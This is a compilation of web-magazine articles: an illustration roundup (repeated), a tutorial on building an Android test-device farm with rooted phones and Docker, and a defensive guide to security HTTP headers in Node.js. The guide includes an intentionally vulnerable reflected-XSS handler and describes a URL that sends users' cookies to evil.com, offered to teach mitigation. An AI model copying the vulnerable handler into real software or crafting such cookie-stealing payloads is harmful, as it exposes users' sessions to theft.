On days when things don’t seem to go as you’d like them to and inspiration is at its lowest, it’s good to take a short break and go outside to try and empty your mind. That always seems to be the best remedy for me, especially whenever I jump on my bike and go for a short ride.
Now the time has come to enjoy these moments even more as the spring season finally starts to show up in nature. We’re starting to see green leaves on the trees again, and every morning I wake up to the sounds of the birds chirping. I really enjoy these small joys of spring — who doesn’t? Hopefully this new batch of illustrations will feed your creativity tank with extra vitamins to make sure those inspiration levels are up and running at its best.
A sneak peek of a new print the crew at DKNG is working on. Looks like Austin to me. Love the effect of the letters used as masks. How the few colors are applied is just sublime!
One entry of ten finalists that capture the theme of “through young eyes” in this young photographers’ competition that aims to engage youth around the world in wildlife conservation. Check out the other nine submissions29, too.
Beautiful cover for Fabric‘s spring issue. Sam’s work usually has a futuristic element to it, but this one is great too, especially the plants and colors. Those lines and details in each leaf are just fantastically well executed. Perfect light and shadow effects too.
Nice identity for The Digital Arts Expo, an annual showcase of student and faculty projects integrating engineering, computer science, and the visual and performing arts.
Illustrations for Eurostar‘s Metropolitan magazine to accompany an article about what to see and do in Brussels. The butcher chasing the cow is such a nice detail.
This image goes along an article on how Tim Tebow is making a drastic switch from being a football player to a baseball player. Love this vertical stripe collage blend effect. So well done!
On days when things don’t seem to go as you’d like them to and inspiration is at its lowest, it’s good to take a short break and go outside to try and empty your mind. That always seems to be the best remedy for me, especially whenever I jump on my bike and go for a short ride.
Now the time has come to enjoy these moments even more as the spring season finally starts to show up in nature. We’re starting to see green leaves on the trees again, and every morning I wake up to the sounds of the birds chirping. I really enjoy these small joys of spring — who doesn’t? Hopefully this new batch of illustrations will feed your creativity tank with extra vitamins to make sure those inspiration levels are up and running at its best.
A sneak peek of a new print the crew at DKNG is working on. Looks like Austin to me. Love the effect of the letters used as masks. How the few colors are applied is just sublime!
One entry of ten finalists that capture the theme of “through young eyes” in this young photographers’ competition that aims to engage youth around the world in wildlife conservation. Check out the other nine submissions29, too.
Beautiful cover for Fabric‘s spring issue. Sam’s work usually has a futuristic element to it, but this one is great too, especially the plants and colors. Those lines and details in each leaf are just fantastically well executed. Perfect light and shadow effects too.
Nice identity for The Digital Arts Expo, an annual showcase of student and faculty projects integrating engineering, computer science, and the visual and performing arts.
Illustrations for Eurostar‘s Metropolitan magazine to accompany an article about what to see and do in Brussels. The butcher chasing the cow is such a nice detail.
This image goes along an article on how Tim Tebow is making a drastic switch from being a football player to a baseball player. Love this vertical stripe collage blend effect. So well done!
Regression testing is one of the most time-consuming tasks when developing a mobile Android app. Using myMail as a case study, I’d like to share my experience and advice on how to build a flexible and extensible automated testing system for Android smartphones — from scratch.
The team at myMail currently uses about 60 devices for regression testing. On average, we test roughly 20 builds daily. Approximately 600 UI tests and more than 3,500 unit tests are run on each build. The automated tests are available 24/7, and save our testers a ton of time helping us to create high-quality applications. Without them, it would have taken us 36 hours (including wait time) to test every unit, or roughly 13 hours without the wait. It takes about 1.5 hours to run an automated test, including setup and translation updates. This cuts out weeks of tester work every day.
In case you write automated tests and do not deal with infrastructure, we will go through the process from the very beginning, from purchasing the phone and reinstalling firmware to creating Docker containers with the automated test phone inside. Watch the video1 to see the result.
What Phones Are Best For Android Automated Tests? Link
When Android was just beginning to gain popularity, test developers had to choose the lesser of two evils: buy an expensive set of phones or work with slow and buggy virtual devices. Today, things are much simpler because virtual machines such as Android x86 and HAXM are available.
Yet there is still a choice to make. Many developers prefer virtual machines for automated tests, but actual phones have become a rather affordable option, even if your budget for test automation is limited. Real phones provide the most accurate picture of the application’s actual behavior. By using real phones, you can be certain that users will be able to perform any action in the program.
Accordingly, I recommend that even people who currently use virtual machines for test automation on Android obtain some real devices to ensure that their tests are also correct in real life. I’ll tell you how to choose a phone for automated regression testing and tell you what other equipment you’ll need in order to get everything to work together 24/7.
First of all, I should warn you that we will be choosing a phone model for regression tests, not configuration tests. Let’s assume that we have a lot of tests, for example 500 to 1000 application tests, that take 10 hours, and that we need several phones to complete them in 15 minutes. This sounds a little counterintuitive — why not just buy 10 to 20 different models of phones? The answer lies in the labor costs for the test automation code. You would end up writing the same test for different phone interfaces. When working with 20 different models, writing even one simple test would take a lot of time. But our present goal is to accelerate the execution of automated tests without increasing the labor costs of the programmer writing the tests.
The phone market is large, so it’s hard to know where to look first. What should be the criteria when choosing a phone? After some trial and error, I ended up with the following requirements (I’m not including any unit prices, since they should be readily available):
There is a way to obtain the root privileges.
There is a way to unlock the phone’s bootloader.
The phone has an Android near-stock version, or there is an option to install the near-stock version. This means you won’t have to try a ton of different tests for various interfaces.
The phone’s memory is no less than 1 GB. You can work with less, but various large object display checks will take a long time, even with consistently written tests.
Ideally, the phone has long-term manufacturer support. If this is the case, we have a chance of extending its life with new OS versions.
These criteria for purchasing a phone boil down to two things: Phone should not be slow and stuttering, and its software innards should be customizable as much as possible. Eliminating lag time saves us from the troubles of time-consuming tests, and customizability lets us correct problems that may arise over time (deterioration of operating system versions, internal phone bugs, a need to change system settings). If you find that something incorrectly works on the phone, then you at least have the chance to fix it yourself.
Root privileges, for example, let you use the command line to easily change the time on the phone, switch between Wi-Fi networks, and enable and disable system programs to simulate working with and without them. The unlocked boot sector lets users update the operating system and add custom firmware that extends the phone’s life even if the manufacturer discontinues support (which, unfortunately, is the case with most phones we have now). It would be sad if users running on Android 4.4 or Android 6 encountered an error, but your phones with automated tests run on Android 5, so nothing can be changed.
Unfortunately, you can’t ask the seller about most of these criteria at the time of purchase. That’s why we must first go to the XDA Developers forums158 and 4PDA forums9 to find all of the details we need to know about the model. If the model has been out for a while, pay attention to information about defects, memory and battery life — your device will be all but useless without these. Don’t be distracted by screens, buttons, cases, speakers and other features usually important to a user. The phone will work perfectly fine regardless (although this does depend on the specifics of your project).
Once you’ve chosen a model, you should probably order one or two for pretests to be sure that the OS doesn’t have any surprises in store, that all of the written tests run properly and that the hardware matches the manufacturer’s specifications. Below are the worst blunders I’ve seen in my experience as a buyer:
A phone model with a lot of local subtypes
This is a problem if you can only get root privileges or unlock the bootloader for just some of them. It is hard to find a certified Russian phone in unofficial stores, because fake and authentic phones look the same. Additionally, many sellers or their vendors reflash the model names, hardware specifications, regions and even OS versions. It’s quite possible to see one model in the Android settings, another model in the bootloader and a third model in a shell using getprop and get-IDs. The issue is that the phone has passed through multiple hands and regions before getting to you. Its first owner was some Verizon subscriber from South Dakota. He returns it, and the now refurbished device somehow ends up with some seller in Tel Aviv, who unskillfully installs his local OS version on the hardware. Then, a seller from Moscow buys it and sells it again as a new phone. The courier brings it to you, and you receive your new eight-core reflashable Russian device, having no clue that you are actually holding a six-core locked area-specific device originally from a US cellular service customer.
10 The information in the image above is for an expensive phone with “current” software that, according to its specifications, is actually an older AT&T model that has been reflashed. (View large version11)
Identical serial numbers
It’s easier to identify the problem here, but unfortunately it’s common even among official dealers. The lack of a serial number is a problem associated with many inexpensive devices. If Android Debug Bridge (ADB) is used in your automated tests and several devices are connected to the machine, then you’ll need to either rewrite the ADB code (because it would only see one device) or, if the purchase was made according to the previously mentioned criteria, manually enter the unique serial number.
12 Typical serial numbers for inexpensive phones
A pseudorandom MAC address from the Wi-Fi module after restarting the phone
This was quite a serious issue, because we discovered it only after I was sure that “everything was OK” — i.e. the phone met our requirements, so we ordered 20 more. During our automated tests, the phones sometimes restarted. After a while, the tests started to fail due to a lack of Wi-Fi connectivity, even though everything appeared to be running normally. There was a network connection, and everything worked properly after turning the Wi-Fi module off and on. The problem was that, at some point after the reboots, a couple of the phones would end up having the same MAC address, but the Wi-Fi hotspot would only grant access to the last one. Unfortunately, I couldn’t find where on the phones the MAC address is generated, so I had to put a script in the bootloader to force a unique MAC address to be set.
13 A demonstration of spoofing from a box (View large version14)
However, if you stick to the criteria above when choosing your phone, then these problems shouldn’t prove fatal. They can all be manually fixed to make the phone work properly.
So, which phones should you get to create your own test automation farm?
If you have the resources to buy the latest working models of Google Nexus (these are currently devices such as the Nexus 5X to 6P), then get these without thinking twice. You can install almost any operating system on them, they have an inherently “clean” Android base, and developers also tend to use them to test their applications.
Many companies are currently producing phone models for developers. With these phones, you can generally unlock the bootloader, and root privileges are available. If you find a good offer, take it.
Many phones with MediaTek (MTK) processors can be reflashed perfectly, and their main advantage is low cost. You’ll need to look for the specific models on the local market in your country, because the phones are typically available under different brand names, depending on location. The real manufacturers are usually large companies such as Gionee, Lenovo, Inventec, Tinno Mobile, Longcheer and Techain. These companies resell their phones in Western countries under brand names including Fly, Zopo, Wiko, Micromax, MyPhone, Blu, Walton, Allview and others. But not all phones are suitable: always evaluate them according to the criteria listed above. Farms with phones like these can often be cheaper than servers with virtual Android machines, so there is a significant chance to save some money here.
In addition to phones, you are going to need a computer and USB hubs to run the automated tests. There are some other things to consider at this stage. For example, constantly operating phones need a good power supply (at least 0.5A per device; more is better). The majority of hubs on the market come with weak adapters, not designed to have a constantly running phone plugged in at every port. Things are even more complicated when it comes to tablets: 9-inch tablets die quickly when running continuously becuase of large screen power consumption, so we have to choose among 7-inch units. In our experience, six to seven phones can be hooked up to a 4A adapter (depending on their workload). Therefore, most multiport hubs with a “3A adapter and 20 USB ports” are useless, to put it mildly. The cream of the crop is server solutions, but they are crazy expensive. So, we are going to have to limit ourselves to the consumer market. To keep the phone running, you have to get 3A four-port hubs or 4A six-port hubs. If a hub has a good power supply and a large number of ports, some ports can simply remain unused.
Let’s look at one phone model as an example. We will solve an OS problem and then try to put several devices together on a simple test stand for test automation. The phone itself is inexpensive and of decent quality, but it is not without its own shortcomings (described above). For example, these phones have the same iSerial, so ADB sees only one device, even if multiple devices are connected. We won’t change it everywhere on the phone, but we’ll make it possible for ADB to distinguish between the phones.
To do this, we have to reflash the phone’s bootloader and install a custom recovery partition on the phone. This is to protect ourselves from any unsuccessful experiments. The manuals on how to flash your specific phone model can be found in the XDA Developers forums158. Our phones have MT6580 installed, which is a MTK processor, so we can use SP Flash Tool as well as recovery.img and scatter file devices. These can be found online for almost any device on XDA Developers and 4PDA, but, if desired, a recovery can be compiled for your device using TWRP16 as a base and creating the scatter file yourself17. In any event, we’ll just take our files and reinstall them:
Once the recovery partition is installed, use it to save the bootloader backup and move it to your machine. As a rule, this is where the OS configuration files are located.
In order to hardcode your iSerial, you’ll need to unpack the phone’s bootloader image. This can be done via Android Image Kitchen20. Start unpackimg.sh, and get the unpacked image in the ramdisk folder:
21 There are a lot of init files here containing different variables, including the serial number.22
Let’s find the file with the serial number ${ro.serialno and replace it with our own number — for example, 999222333019:
find ramdisk/ -maxdepth 1 -name "init.mt*" -exec sed -i
's/${ro.serialno}/999222333019/g' {} +
Now, let’s pack the image back up using repacking.sh, transfer it to the phone and install it using custom recovery. Now ADB can distinguish between devices. All we need to do now is turn on developer mode on the phone and enable debugging in the developer menu. Any similar problems can be solved in exactly the same way. Pretty much everything on the phone can be reinstalled if that is what the tests require.
We will use a standard desktop with Ubuntu as the host for our test system. It might be necessary to transfer the connected phones from one computer to another. We might also need to build separate versions of the app for specific phone models.
To accomplish this, for each phone it’s a good idea to create an isolated virtual environment that we can change if necessary (for example, to install other versions of the Java Development Kit or to configure monitoring), without altering the other phones’ environments. As a result, our machine will be divided into several environments, each one accessible via a single phone (or a group of phones, depending on your requirements). We can establish these environments by creating several virtual machines on the host (this can be done on any operating system). Or you can do what I like to do, which is divide the phones using Docker containers, which work best on Linux. We will use a conventional desktop with Ubuntu as an example of a host for our stand.
There are specifics to consider when ordering or building the machines that the phones will be connected to. Apart from the standard HDD, RAM and CPU specs, pay attention to the number of USB controllers on the motherboard and the supported USB protocol. Phones that use USB 3.0 (xHCI) could significantly limit the maximum number of devices attached to the machine (usually 8 per controller, or 16 devices for a machine with 2 controllers), so it’s worth checking whether it’s possible to turn it off and use only EHCI. You will find those options in the BIOS or OS. It is best to forcibly disable xHCI in the BIOS if you don’t require high-speed devices.
As I wrote earlier, we want an integration system slave-agent to work with a specific phone and see only this phone. This way, the tests won’t accidentally run on other phones and give false pass or error results. To accomplish this, we need to separate them. When an integration system agent launches in a Docker container, each agent has access to only one device, so we can divide tasks in the integration system by specific phone models, operating system versions, screen sizes and other characteristics (for example, a container with a tablet can perform tests that require a wide screen, and a container with a phone could run tests requiring the ability to receive text messages).
Let’s use the example of a system installation and setup on Ubuntu. Here is the installation of Docker itself:
We are going to use OverlayFS as a storage driver (it is relatively fast and reliable). You can read about the differences between various storage drivers23 on the official Docker website.
Then, we will create a Dockerfile, which is an instruction for Docker to install the minimum required software for the virtual environment where a mobile device will be isolated. We will create images from this instruction. Let’s add the Android SDK to the Dockerfile:
FROM ubuntu:trusty #Update the list of repositories and add webupd8team repository, from which we'll install Java RUN apt-get update -y && apt-get install -y software-properties-common && add-apt-repository ppa:webupd8team/java -y && apt-get update -y && echo oracle-java8-installer shared/accepted-oracle-license-v1-1 select true | /usr/bin/debconf-set-selections && apt-get install -y oracle-java8-installer && apt-get remove software-properties-common -y && apt-get autoremove -y && apt-get clean #Set the environment variables for Java and the desired version of Ant ENV JAVA_HOME /usr/lib/jvm/java-8-oracle ENV ANT_VERSION 1.9.4 # Install Ant version specified above RUN cd && wget -q http://archive.apache.org/dist/ant/binaries/apache-ant-${ANT_VERSION}-bin.tar.gz && tar -xzf apache-ant-${ANT_VERSION}-bin.tar.gz && mv apache-ant-${ANT_VERSION} /opt/ant && rm apache-ant-${ANT_VERSION}-bin.tar.gz # Set the environment variable for Ant ENV ANT_HOME /opt/ant ENV PATH ${PATH}:/opt/ant/bin #Install Android Build Tools and the required version of Android SDK #You can create several versions of the Dockerfile if you need to test #several versions ENV ANDROID_SDK_VERSION r24.4.1 ENV ANDROID_BUILD_TOOLS_VERSION 23.0.3 RUN dpkg --add-architecture i386 && apt-get update -y && apt-get install -y libc6:i386 libncurses5:i386 libstdc++6:i386 lib32z1 && rm -rf /var/lib/apt/lists/* && apt-get autoremove -y && apt-get clean ENV ANDROID_SDK_FILENAME android-sdk_${ANDROID_SDK_VERSION}-linux.tgz ENV ANDROID_SDK_URL http://dl.google.com/android/${ANDROID_SDK_FILENAME} ENV ANDROID_API_LEVELS android-15,android-16,android-17,android-18,android-19,android-20,android-21,android-22,android-23 ENV ANDROID_HOME /opt/android-sdk-linux ENV PATH ${PATH}:${ANDROID_HOME}/tools:${ANDROID_HOME}/platform-tools RUN cd /opt && wget -q ${ANDROID_SDK_URL} && tar -xzf ${ANDROID_SDK_FILENAME} && rm ${ANDROID_SDK_FILENAME} && echo y | android update sdk --no-ui -a --filter tools,platform-tools,${ANDROID_API_LEVELS},build-tools-${ANDROID_BUILD_TOOLS_VERSION} ###Now add the integration system file. It can be a Jenkins slave, a Bamboo agent, etc., depending on what you're working with. ADD moyagent.sh /agentCI/
You can also add all of the necessary libraries and files for the integration system agent to the Dockerfile. At some point, you might have to build containers not only for your physical devices, but also for virtual Android phone emulators. In this case, you can just add the required settings to the instructions. Now we’ll build the Dockerfile:
Docker build .
Now we have a runnable docker image; however, the container that we spawn from it would not see any devices (or, on the contrary, the container would see all USB devices if we run it in privileged mode). We need it to see only those devices we want it to see. So, we specify a symbolic link (or symlink) in our host, which we will transfer to the Docker container created from the image. The symlink uses udev:
Instead of $DEVICE_SERIAL, we enter our freshly installed serial number and reload the device’s rule definitions:
udevadm control --reload udevadm trigger
Now when the phone is attached via USB, we will have a device symlink to the /dev/androidDevice1 path with the serial number $DEVICE_SERIAL. All we have left to do is transfer it to the container on startup:
Docker run -i -t --rm --device=/dev/androidDevice1:/dev/bus/usb/001/1 android-Docker-image:latest adb devices
This means that we want to create a container from the Android Docker image that must be able to access the device with the /dev/androidDevice1 symlink. We also want to launch the ADB devices command in the container itself, which will show us a list of available devices.
If the phone is visible, then we’re ready. If an integration system agent was installed in the image, we can use the following command to launch it:
Docker run -i -t --rm --device= /dev/androidDevice1:/dev/bus/usb/001/1 android-Docker-image:latest /bin/sh /agentCI/moyagent.sh
Now we have launched the container in which the system integration agent is running. The agent now has access to the device via the /dev/androidDevice1 symlink and to the virtual environment where all programs specified in Dockerfile (the Android SDK and additional dependencies) are installed.
By the way, it wasn’t until fairly recently that the command line option --device started working with symlinks (see the GitHub master branch24). Previously, we had to generate the realpath from symlinks using a script and transfer it to Docker. So, if you can’t manage to connect the device, add the following script to the udev parameter RUN+= (if the connected phone is located at /dev/bus/usb/010/1):
realpath /dev/androidDevice1 | xargs -I linkpath link linkpath /dev/bus/usb/010/1
This will let you use old versions of Docker to launch a container that can access the phone:
Docker run --privileged -v /dev/bus/usb/010/:/dev/bus/usb/100/ -i -t android-Docker-image:latest adb devices
That’s it. You can now connect your slave to the integration system and work with it.
If the phone is visible, then we’re done. If a system integration agent has been installed in the image, then we can run it with the following command:
docker run -i -t --rm --device= /dev/androidDevice1:/dev/bus/usb/001/1 android-docker-image:latest /bin/sh /agentCI/moyagent.sh
Now we’ve launched our container with the system integration agent launched in it. The device is available to the agent via the /dev/androidDevice1 symlink and also via the virtual environment where you installed the programs from our Dockerfile (the Android SDK and other dependencies). The launched agent must connect to your server (such as Bamboo or Jenkins), from which you can give it commands to perform the automated tests.
When your container is ready, all you need to do is connect it to your integration system. Each of such systems has extensive documentation and a lot of examples of usage:
As soon as you connect your container according to the instruction, you will be able to execute code, launch your tests and work with your container via your systems.
Sooner or later, physical mobile devices will appear in the integration system of every relatively large Android project. The need to fix mistakes, perform non-standard test cases and simply test for the presence of certain features all inevitably require an actual device. In addition, the devices won’t use your server resources, because they have their own processors and memory. Thus, the host for the phones doesn’t have to be super-powerful; any home desktop would handle this load nicely.
Consider the advantages and see what would be best for you — your automated testing system almost certainly has room for physical devices. I wish you all fewer bugs and more test coverage! Real devices have both advantages and disadvantages. It would be great if you could share your opinion and expertise and tell us which is better to use: real devices or virtual machines. Looking forward to your comments!
Web applications, be they thin websites or thick single-page apps, are notorious targets for cyber-attacks. In 2016, approximately 40% of data breaches1 originated from attacks on web apps — the leading attack pattern. Indeed, these days, understanding cyber-security is not a luxury but rather a necessity for web developers, especially for developers who build consumer-facing applications.
HTTP response headers can be leveraged to tighten up the security of web apps, typically just by adding a few lines of code. In this article, we’ll show how web developers can use HTTP headers to build secure apps. While the code examples are for Node.js, setting HTTP response headers is supported across all major server-side-rendering platforms and is typically simple to set up.
Technically, HTTP headers are simply fields, encoded in clear text, that are part of the HTTP request and response message header. They are designed to enable both the HTTP client and server to send and receive meta data about the connection to be established, the resource being requested, as well as the returned resource itself.
Plain-text HTTP response headers can be examined easily using cURL, with the --head option, like so:
Today, hundreds of headers are used by web apps, some standardized by the Internet Engineering Task Force6 (IETF), the open organization that is behind many of the standards that power the web as we know it today, and some proprietary. HTTP headers provide a flexible and extensible mechanism that enables the rich and varying use cases found on the web today.
Caching is a valuable and effective technique for optimizing performance in client-server architectures, and HTTP, which leverages caching extensively, is no exception. However, in cases where the cached resource is confidential, caching can lead to vulnerabilities — and must be avoided. As an example, consider a web app that renders and caches a page with sensitive information and is being used on a shared PC. Anyone can view confidential information rendered by that web app simply by visiting the browser’s cache, or sometimes even as easily as clicking the browser’s “back” button!
The IETF’s RFC 72347, which defines HTTP caching, specifies the default behavior of HTTP clients, both browsers and intermediary Internet proxies, to always cache responses to HTTP GET requests — unless specified otherwise. While this enables HTTP to boost performance and reduce network congestion, it could also expose end users to theft of personal information, as mentioned above. The good news is that the HTTP specification also defines a pretty simple way to instruct clients not to cache a given response, through the use of — you guessed it! — HTTP response headers.
There are three headers to return when you are returning sensitive information and would like to disable caching by HTTP clients:
Cache-Control
This response header, introduced in HTTP 1.1, may contain one or more directives, each carrying a specific caching semantic, and instructing HTTP clients and proxies on how to treat the response being annotated by the header. My recommendation is to format the header as follows: cache-control: no-cache, no-store, must-revalidate. These three directives pretty much instruct clients and intermediary proxies not to use a previously cached response, not to store the response, and that even if the response is somehow cached, the cache must be revalidated on the origin server.
Pragma: no-cache
For backwards-compatibility with HTTP 1.0, you will want to include this header as well. Some HTTP clients, especially intermediary proxies, still might not fully support HTTP 1.1 and so will not correctly handle the Cache-Control header mentioned above. Use Pragma: no-cache to ensure that these older clients do not cache your response.
Expires: -1
This header specifies a timestamp after which the response is considered stale. By specifying -1, instead of an actual future time, you ensure that clients immediately treat this response as stale and avoid caching.
Note that, while disabling caching enhances the security of your web app and helps to protect confidential information, is does come at the price of a performance hit. Make sure to disable caching only for resources that actually require confidentiality and not just for any response rendered by your server! For a deeper dive into best practices for caching web resources, I highly recommend reading Jake Archibald’s post8 on the subject.
Here’s how you would program these headers in Node.js:
function requestHandler(req, res) { res.setHeader('Cache-Control','no-cache,no-store,max-age=0,must-revalidate'); res.setHeader('Pragma','no-cache'); res.setHeader('Expires','-1'); }
Today, the importance of HTTPS is widely recognized by the tech community. More and more web apps configure secured endpoints and are redirecting unsecure traffic to secured endpoints (i.e. HTTP to HTTPS redirects). Unfortunately, end users have yet to fully comprehend the importance of HTTPS, and this lack of comprehension exposes them to various man-in-the-middle (MitM) attacks. The typical user navigates to a web app without paying much attention to the protocol being used, be it secure (HTTPS) or unsecure (HTTP). Moreover, many users will just click past browser warnings when their browser presents a certificate error or warning!
The importance of interacting with web apps over a valid HTTPS connection cannot be overstated: An unsecure connection exposes the user to various attacks, which could lead to cookie theft or worse. As an example, it is not very difficult for an attacker to spoof network frames within a public Wi-Fi network and to extract the session cookies of users who are not using HTTPS. To make things even worse, even users interacting with a web app over a secured connection may be exposed to downgrade attacks, which try to force the connection to be downgraded to an unsecure connection, thus exposing the user to MitM attacks.
How can we help users avoid these attacks and better enforce the usage of HTTPS? Enter the HTTP Strict Transport Security (HSTS) header. Put simply, HSTS makes sure all communications with the origin host are using HTTPS. Specified in RFC 67979, HSTS enables a web app to instruct browsers to allow only HTTPS connections to the origin host, to internally redirect all unsecure traffic to secured connections, and to automatically upgrade all unsecure resource requests to be secure.
HSTS directives include the following:
max-age=<number of seconds>
This instructs the browser to cache this header, for this domain, for the specified number of seconds. This can ensure tightened security for a long duration!
includeSubDomains
This instructs the browser to apply HSTS for all subdomains of the current domain. This can be useful to cover all current and future subdomains you may have.
preload
This is a powerful directive that forces browsers to always load your web app securely, even on the first hit, before the response is even received! This works by hardcoding a list of HSTS preload-enabled domains into the browser’s code. To enable the preloading feature, you need to register your domain with HSTS Preload List Submission10, a website maintained by Google’s Chrome team. Once registered, the domain will be prebuilt into supporting browsers to always enforce HSTS. The preload directive within the HTTP response header is used to confirm registration, indicating that the web app and domain owner are indeed interested in being on the preload list.
A word of caution: using the preload directive also means it cannot be easily undone, and carries an update lead time of months! While preload certainly improves your app’s security, it also means you need to be fully confident your app can support HTTPS-only!
My recommendation is to use Strict-Transport-Security: max-age=31536000; includeSubDomains; which instructs the browser to enforce a valid HTTPS connection to the origin host and to all subdomains for a year. If you are confident that your app can handle HTTPS-only, I would also recommend adding the preload directive, in which case don’t forget to register your website on the preload list as well, as noted above!
Here’s what implementing HSTS looks like in Node.js:
function requestHandler(req, res) { res.setHeader('Strict-Transport-Security','max-age=31536000; includeSubDomains; preload'); }
In a reflected cross-site scripting attack (reflected XSS), an attacker injects malicious JavaScript code into an HTTP request, with the injected code “reflected” in the response and executed by the browser rendering the response, enabling the malicious code to operate within a trusted context, accessing potentially confidential information such as session cookies. Unfortunately, XSS is a pretty common web app attack, and a surprisingly effective one!
To understand a reflected XSS attack, consider the Node.js code below, rendering mywebapp.com, a mock and intentionally simple web app that renders search results alongside the search term requested by the user:
function handleRequest(req, res) { res.writeHead(200); // Get the search term const parsedUrl = require('url').parse(req.url); const searchTerm = decodeURI(parsedUrl.query); const resultSet = search(searchTerm); // Render the document res.end( "<html>" + "<body>" + "<p>You searched for: " + searchTerm + "</p>" + // Search results rendering goes here… "</body>" + "</html>"); };
Now, consider how will the web app above handle a URL constructed with malicious executable code embedded within the URL, such as this:
As you may realize, this URL will make the browser run the injected script and send the user’s cookies, potentially including confidential session cookies, to evil.com!
To help protect users against reflective XSS attacks, some browsers have implemented protection mechanisms. These mechanisms try to identify these attacks by looking for matching code patterns in the HTTP request and response. Internet Explorer was the first browser to introduce such a mechanism with its XSS filter, introduced in Internet Explorer 8 back in 2008, and WebKit later introduced XSS Auditor, available today in Chrome and Safari. (Firefox has no similar mechanism built in, but users can use add-ons to gain this functionality.) These various protection mechanisms are not perfect: They may fail to detect a real XSS attack (a false negative), and in other cases may block legitimate code (a false positive). Due to the latter, browsers allow users to disable the XSS filter via the settings. Unfortunately, this is typically a global setting, which turns off this security feature completely for all web apps loaded by the browser.
Luckily, there is a way for a web app to override this configuration and ensure that the XSS filter is turned on for the web app being loaded by the browser. This is done via the X-XSS-Protection header. This header, supported by Internet Explorer (from version 8), Edge, Chrome and Safari, instructs the browser to turn on or off the browser’s built-in protection mechanism and to override the browser’s local configuration.
X-XSS-Protection directives include these:
1 or 0
This enables or disables the filter.
mode=block
This instructs the browser to prevent the entire page from rendering when an XSS attack is detected.
I recommend always turning on the XSS filter, as well as block mode, to maximize user protection. Such a response header looks like this:
X-XSS-Protection: 1; mode=block
Here’s how you would configure this response header in Node.js:
function requestHandler(req, res) { res.setHeader('X-XSS-Protection','1;mode=block'); }
An iframe (or HTML inline frame element, if you want to be more formal) is a DOM element that allows a web app to be nested within a parent web app. This powerful element enables some important web use cases, such as embedding third-party content into web apps, but it also has significant drawbacks, such as not being SEO-friendly and not playing nice with browser navigation — the list goes on.
One of the caveats of iframes is that it makes clickjacking easier. Clickjacking is an attack that tricks the user into clicking something different than what they think they’re clicking. To understand a simple implementation of clickjacking, consider the HTML markup below, which tries to trick the user into buying a toaster when they think they are clicking to win a prize!
Clickjacking has many malicious applications, such as tricking the user into confirming a Facebook like, purchasing an item online and even submitting confidential information. Malicious web apps can leverage iframes for clickjacking by embedding a legitimate web app inside their malicious web app, rendering the iframe invisible with the opacity: 0 CSS rule, and placing the iframe’s click target directly on top of an innocent-looking button rendered by the malicious web app. A user who clicks the innocent-looking button will trigger a click on the embedded web app — without at all knowing the effect of their click.
An effective way to block this attack is by restricting your web app from being framed. X-Frame-Options, specified in RFC 703411, is designed to do exactly that! This header instructs the browser to apply limitations on whether your web app can be embedded within another web page, thus blocking a malicious web page from tricking users into invoking various transactions on your web app. You can either block framing completely using the DENY directive, whitelist specific domains using the ALLOW-FROM directive, or whitelist only the web app’s origin using the SAMEORIGIN directive.
My recommendation is to use the SAMEORIGIN directive, which enables iframes to be leveraged for apps on the same domain — which may be useful at times — and which maintains security. This recommended header looks like this:
X-Frame-Options: SAMEORIGIN
Here’s an example of a configuration of this header to enable framing on the same origin in Node.js:
function requestHandler(req, res) { res.setHeader('X-Frame-Options','SAMEORIGIN'); }
As we’ve noted earlier, you can add in-depth security to your web app by enabling the browser’s XSS filter. However, note that this mechanism is limited, is not supported by all browsers (Firefox, for instance, does not have an XSS filter) and relies on pattern-matching techniques that can be tricked.
Another layer of in-depth protection against XSS and other attacks can be achieved by explicitly whitelisting trusted sources and operations — which is what Content Security Policy (CSP) enables web app developers to do.
CSP is a W3C specification12 that defines a powerful browser-based security mechanism, enabling granular control over resource-loading and script execution in a web app. With CSP, you can whitelist specific domains for operations such as script-loading, AJAX calls, image-loading and style sheet-loading. You can enable or disable inline scripts or dynamic scripts (the notorious eval) and control framing by whitelisting specific domains for framing. Another cool feature of CSP is that it allows you to configure a real-time reporting target, so that you can monitor your app in real time for CSP blocking operations.
This explicit whitelisting of resource loading and execution provides in-depth security that in many cases will fend off attacks. For example, by using CSP to disallow inline scripts, you can fend off many of the reflective XSS attack variants that rely on injecting inline scripts into the DOM.
CSP is a relatively complex header, with a lot of directives, and I won’t go into the details of the various directives. HTML5 Rocks has a great tutorial13 that provides an overview of CSP, and I highly recommend reading it and learning how to use CSP in your web app.
Here’s a simple example of a CSP configuration to allow script-loading from the app’s origin only and to block dynamic script execution (eval) and inline scripts (as usual, on Node.js):
function requestHandler(req, res) { res.setHeader('Content-Security-Policy',"script-src 'self'"); }
In an effort to make the user experience as seamless as possible, many browsers have implemented a feature called content-type sniffing, or MIME sniffing. This feature enables the browser to detect the type of a resource provided as part of an HTTP response by “sniffing” the actual resource bits, regardless of the resource type declared through the Content-Type response header. While this feature is indeed useful in some cases, it introduces a vulnerability and an attack vector known as a MIME confusion attack. A MIME-sniffing vulnerability enables an attacker to inject a malicious resource, such as a malicious executable script, masquerading as an innocent resource, such as an image. With MIME sniffing, the browser will ignore the declared image content type, and instead of rendering an image will execute the malicious script.
Luckily, the X-Content-Type-Options response header mitigates this vulnerability! This header, introduced in Internet Explorer 8 back in 2008 and currently supported by most major browsers (Safari is the only major browser not to support it), instructs the browser not to use sniffing when handling fetched resources. Because X-Content-Type-Options was only formally specified as part of the “Fetch” specification14, the actual implementation varies across browsers; some (Internet Explorer and Edge) completely avoid MIME sniffing, whereas others (Firefox) still MIME sniff but rather block executable resources (JavaScript and CSS) when an inconsistency between declared and actual types is detected. The latter is in line with the latest Fetch specification.
X-Content-Type-Options is a simple response header, with only one directive: nosniff. This header looks like this: X-Content-Type-Options: nosniff. Here’s an example of a configuration of the header:
function requestHandler(req, res) { res.setHeader('X-Content-Type-Options','nosniff'); }
In this article, we have seen how to leverage HTTP headers to reinforce the security of your web app, to fend off attacks and to mitigate vulnerabilities.
Iosevka is a slender monospace sans-serif and slab-serif typeface inspired by Pragmata Pro, M+ and PF DIN Mono, designed to be the ideal font for programming.
What a busy week! To stay on top of things, let’s review what happened in the web development world the last few days — from browser vendors pushing new updates and building new JavaScript guidelines and security standards to why we as web professionals need to review our professional pride. How can we properly revoke certificates in browsers, for example? And how can we build accessibility into a style guide? Let’s take a look.
Safari 10.1 was announced a while ago already, and this week it finally came to Macs and iOS devices around the world. The new Safari version ships CSS Grid Layouts, fetch(), IndexedDB2.0, Custom Elements, Form Validation, Media Capture, and much more. You can read more about the new features and how to use them5 in detail on the WebKit blog.
